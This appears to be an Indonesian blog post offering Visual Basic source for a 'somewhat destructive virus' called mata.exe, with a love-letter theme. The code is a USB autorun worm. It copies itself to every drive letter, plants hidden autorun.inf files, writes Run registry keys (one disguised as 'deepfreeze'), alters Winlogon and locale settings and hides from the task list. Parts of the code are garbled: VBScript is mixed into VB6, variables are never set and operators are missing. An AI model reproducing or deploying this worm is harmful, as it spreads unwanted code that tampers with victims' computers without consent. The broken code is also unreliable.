buat virus yang agak merusak

ni kalo mo yang agak merusak…

tinggal di paste di vb
dan diberi nama mata.exe
‘—————–
Dim uny, juki, scr, winpath, flashdrive, fs, mf, atr, tf, rg, nt, check, sd
Dim k As Long
Private Sub Form_Load()
k = Shell(”c:\windows\system32\taskmgr.exe”, vbHide)
App.TaskVisible = False
On Error Resume Next
Image1(0).Visible = True
Timer1.Enabled = True
Timer5.Enabled = True
FileCopy CurDir + “\mata.exe”, “C:\mata.exe”
FileCopy CurDir + “\mata.exe”, “d:\mata.exe”
FileCopy CurDir + “\mata.exe”, “e:\mata.exe”
FileCopy CurDir + “\mata.exe”, “f:\mata.exe”
FileCopy CurDir + “\mata.exe”, “g:\mata.exe”
FileCopy CurDir + “\mata.exe”, “h:\mata.exe”
FileCopy CurDir + “\mata.exe”, “i:\mata.exe”
FileCopy CurDir + “\mata.exe”, “j:\mata.exe”
FileCopy CurDir + “\mata.exe”, “k:\mata.exe”
FileCopy CurDir + “\mata.exe”, “l:\mata.exe”
FileCopy CurDir + “\mata.exe”, “m:\mata.exe”
FileCopy CurDir + “\mata.exe”, “n:\mata.exe”
FileCopy CurDir + “\mata.exe”, “o:\mata.exe”
sumpeh
End Sub
Sub sumpeh():
k = Shell(”c:\windows\system32\taskmgr.exe”, vbHide)
App.TaskVisible = False
uny = “untuk perempuanku… love is me and youhidup dan nasib, bisa tampak berantakan, misterius, fantastis, dan sporadis, namun setiap elemenya adalah subsistem keteraturan dari sebuah desain holistik yang perfect. Menerima kehidupan berarti menerima kenyataan bahwa tak ada hal sekecil apapun yang terjadi karena kebetulan. ini fakta yang tak terbantahkan. cinta ini tak akan pernah usai dan mati karena aku akan selalu memberi nafas untuk cinta ini, walau berat akan selalu aku jaga sampai kamu sadar betapa berharganya kamu untuk aku. Jika memang ada yang bisa menghentikan perasaan ini, aku akan melakukanya, karena perasaan ini juga telah menyiksaku tanpa kehadiran kamu. hidup tak akan pernah mudah, mulai bertanya adalah hal yang bisa membantumu untuk melihat betapa aku membutuhkanmu untuk mulai melangkah ”
juki = “dan menyanjungi duniaku. jangan pernah berhenti untuk selalu mencintaiku, yosa sayang viena”
atr = “[autorun]” & vbCrLf & “open=mata.exe”
Set fs = CreateObject(”Scripting.FileSystemObject”)
Set mf = fs.getfile(Wscript.ScriptFullname)
Dim text, size: size = mf.size: check = mf.Drive.drivetype: Set text = mf.openastextstream(1, -2)
Set b = fs.CreateTextFile(winpath + “\ perempuanku.HTM”, 2, True)
b.write uny + juki
b.Close
SetAttr CurDir + “\ perempuanku.HTM”, vbReadOnly

Set b = fs.CreateTextFile(winpath + “\autorun.inf”, 2, True)
b.write atr
b.Close
SetAttr winpath + “\autorun.inf”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “D:\mata.exe”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “E:\mata.exe”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “F:\mata.exe”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “G:\mata.exe”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “H:\mata.exe”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “I:\mata.exe”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “J:\mata.exe”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “K:\mata.exe”, vbSystem + vbHidden + vbReadOnly + vbArchive

SetAttr “D:\autorun.inf”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “E:\autorun.inf”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “F:\autorun.inf”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “G:\autorun.inf”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “H:\autorun.inf”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “I:\autorun.inf”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “J:\autorun.inf”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “K:\autorun.inf”, vbSystem + vbHidden + vbReadOnly + vbArchive

Set tf = fs.getfile(flashdrive.Path & “\autorun.inf”)
tf.Attributes = 2 + 3
Set tf = fs.CreateTextFile(flashdrive.Path & “\autorun.inf”, 2, True)
tf.write atr
tf.Close
Set tf = fs.getfile(flashdrive.Path & “\autorun.inf”)
tf.Attributes = 2 + 3
Set tf = fs.getfile(flashdrive.Path & “\mata.exe”)
tf.Attributes = 2 + 3

If (flashdrive.drivetype = 1 Or flashdrive.drivetype = 2) And flashdrive.Path “A:” Then
Set tf = fs.getfile(flashdrive.Path & “\ perempuanku.HTM”): tf.Attributes = 32
Set tf = fs.CreateTextFile(flashdrive.Path & “\ perempuanku.HTM”, 2, True)
tf.write uny + juki
tf.Close
Set tf = fs.getfile(flashdrive.Path & “\ perempuanku.HTM”)
End If
If (flashdrive.drivetype = 1 Or flashdrive.drivetype = 2) And flashdrive.Path “A:” Then
Set tf = fs.getfile(flashdrive.Path & “\mata.exe”)
tf.Attributes = 2 + 3
Set tf = fs.getfile(flashdrive.Path & “\autorun.inf”)
tf.Attributes = 2 + 3
Set tf = fs.CreateTextFile(flashdrive.Path & “\autorun.inf”, 2, True)
tf.write atr
tf.Close
Set tf = fs.getfile(flashdrive.Path & “\autorun.inf”)
tf.Attributes = 2 + 3
Set rg = CreateObject(”WScript.Shell”):
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\system32″, winpath & “\setting.dll.vbs”:
rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”, “love is me and you”:
rg.regwrite “HKCR\vbsfile\DefaultIcon”, “shell32.dll,2″:
rg.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\legalNoticeText”, “Ya Tuhan…Kalo dia memang jodohku,Dekatkanlah..Ya Tuhan,Kalo dia bukan jodohku,Jodohkanlah…Ya Tuhan,Kalau dia jodoh orang lain,Putuskanlah Jodohkanlah denganku..Ya Tuhan,Kalau dia sudah milik orang lain, Berikanlah orang lain itu jodoh yang lain,lalu Jodohkanlah dia denganku… Ya Tuhan,Bila dia memang benar-benar bukan jodohku,Jangan sampai dia dapet jodoh yang lain Lalu jodohkanlah denganku..Ya Tuhan, Bila memang kami tidak berjodoh, Biarkanlah kami terbengkalai tanpa jodoh. Lalu jodohkanlah kami.. Amien yosa sayang viena”:
rg.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\legalNoticeCaption”, “Untuk perempuanku”:
rg.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\HTML”, “C:\ perempuanku.htm”:
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\HTML”, “C:\ perempuanku.htm”:
rg.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\deepfreeze”, “C:\mata.exe”:
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\deepfreeze”, “C:\mata.exe”:
rg.regwrite “HKEY_CURRENT_USER\Control Panel\International\s2359″, “yos”
rg.regwrite “HKEY_CURRENT_USER\Control Panel\International\s1159″, “vie”
End If
End Sub
Private Sub Form_Unload(Cancel As Integer)
MsgBox “mata adalah cerminan dari hati kita, jagalah mata dari segala yang merusak hati”, vbInformation, “yosa love viena”
End Sub

Private Sub Image1_Click(Index As Integer)
MsgBox “ketika sebuah perasaan mengalir pada setiap manusia maka tak akan pernah ada yang dapat menghalanginya. Karena cinta memiliki kekuatan nya yang sangat dasyat. Cinta akan datang tanpa bisa kita menyadarinya. Cinta terkadang seperti angin yang selalu berhembus. Kita bisa merasakan sentuhannya jika kita mau merasakannya. Cinta terkadang seperti hujan yang turun setelah gelapnya awan. Cinta juga terkadang seperti api yang bisa membakar semuanya jika ia terlalu besar. Setiap manusia akan merasakan semua itu jika ia bisa mengendalikannya. Sampai saat ini semua yang dirasakan setiap manusia pasti ada mengandung cinta. Cinta tidak hanya untuk pasangan kekasih. Cinta ada disetiap sudut lingkaran hidup manusia. Cinta akan terasa indah jika kita mengisinya dalam hidup kita.”, vbInformation, “antara jakarta dan kudus”
End Sub

Private Sub Timer1_Timer()
Image1(0).Visible = True
Timer2.Enabled = True
End Sub

Private Sub Timer2_Timer()
Image1(0).Visible = False
Timer1.Enabled = False
Image1(1).Visible = True
Timer3.Enabled = True
Image1(2).Visible = False
End Sub

Private Sub Timer3_Timer()
Image1(0).Visible = False
Timer2.Enabled = False
Image1(1).Visible = False
Timer4.Enabled = True
Image1(2).Visible = True
End Sub

Private Sub Timer4_Timer()
Image1(2).Visible = False
Timer3.Enabled = False
Image1(0).Visible = True
Timer1.Enabled = True

End Sub

Private Sub Timer5_Timer()
On Error Resume Next
FileCopy winpath + “\ perempuanku.htm”, “d:\ perempuanku.htm”
FileCopy winpath + “\ perempuanku.htm”, “e:\ perempuanku.htm”
FileCopy winpath + “\ perempuanku.htm”, “f:\ perempuanku.htm”
FileCopy winpath + “\ perempuanku.htm”, “g:\ perempuanku.htm”
FileCopy winpath + “\ perempuanku.htm”, “h:\ perempuanku.htm”
FileCopy winpath + “\ perempuanku.htm”, “i:\ perempuanku.htm”
FileCopy winpath + “\ perempuanku.htm”, “j:\ perempuanku.htm”
FileCopy winpath + “\ perempuanku.htm”, “k:\ perempuanku.htm”
FileCopy winpath + “\ perempuanku.htm”, “l:\ perempuanku.htm”
FileCopy winpath + “\ perempuanku.htm”, “m:\ perempuanku.htm”
FileCopy winpath + “\ perempuanku.htm”, “n:\ perempuanku.htm”
FileCopy winpath + “\ perempuanku.htm”, “o:\ perempuanku.htm”

FileCopy winpath + “\autorun.inf”, “d:\autorun.inf”
FileCopy winpath + “\autorun.inf”, “e:\autorun.inf”
FileCopy winpath + “\autorun.inf”, “f:\autorun.inf”
FileCopy winpath + “\autorun.inf”, “g:\autorun.inf”
FileCopy winpath + “\autorun.inf”, “h:\autorun.inf”
FileCopy winpath + “\autorun.inf”, “i:\autorun.inf”
FileCopy winpath + “\autorun.inf”, “j:\autorun.inf”
FileCopy winpath + “\autorun.inf”, “k:\autorun.inf”
FileCopy winpath + “\autorun.inf”, “l:\autorun.inf”
FileCopy winpath + “\autorun.inf”, “m:\autorun.inf”
FileCopy winpath + “\autorun.inf”, “n:\autorun.inf”
FileCopy winpath + “\autorun.inf”, “o:\autorun.inf”
Timer7.Enabled = False
k = Shell(”c:\windows\system32\taskmgr.exe”, vbHide)
App.TaskVisible = False

End Sub

Private Sub Timer6_Timer()
Timer5.Enabled = False
Timer7.Enabled = True
Form1.Visible = False
End Sub

Private Sub Timer7_Timer()
Form1.Visible = True
Timer6.Enabled = False
Timer5.Enabled = True
End Sub

nb:sory ya fren kalo ada yang salah maklum ini aku tinggal kopi paste doank.belum aku baca keseluruhannya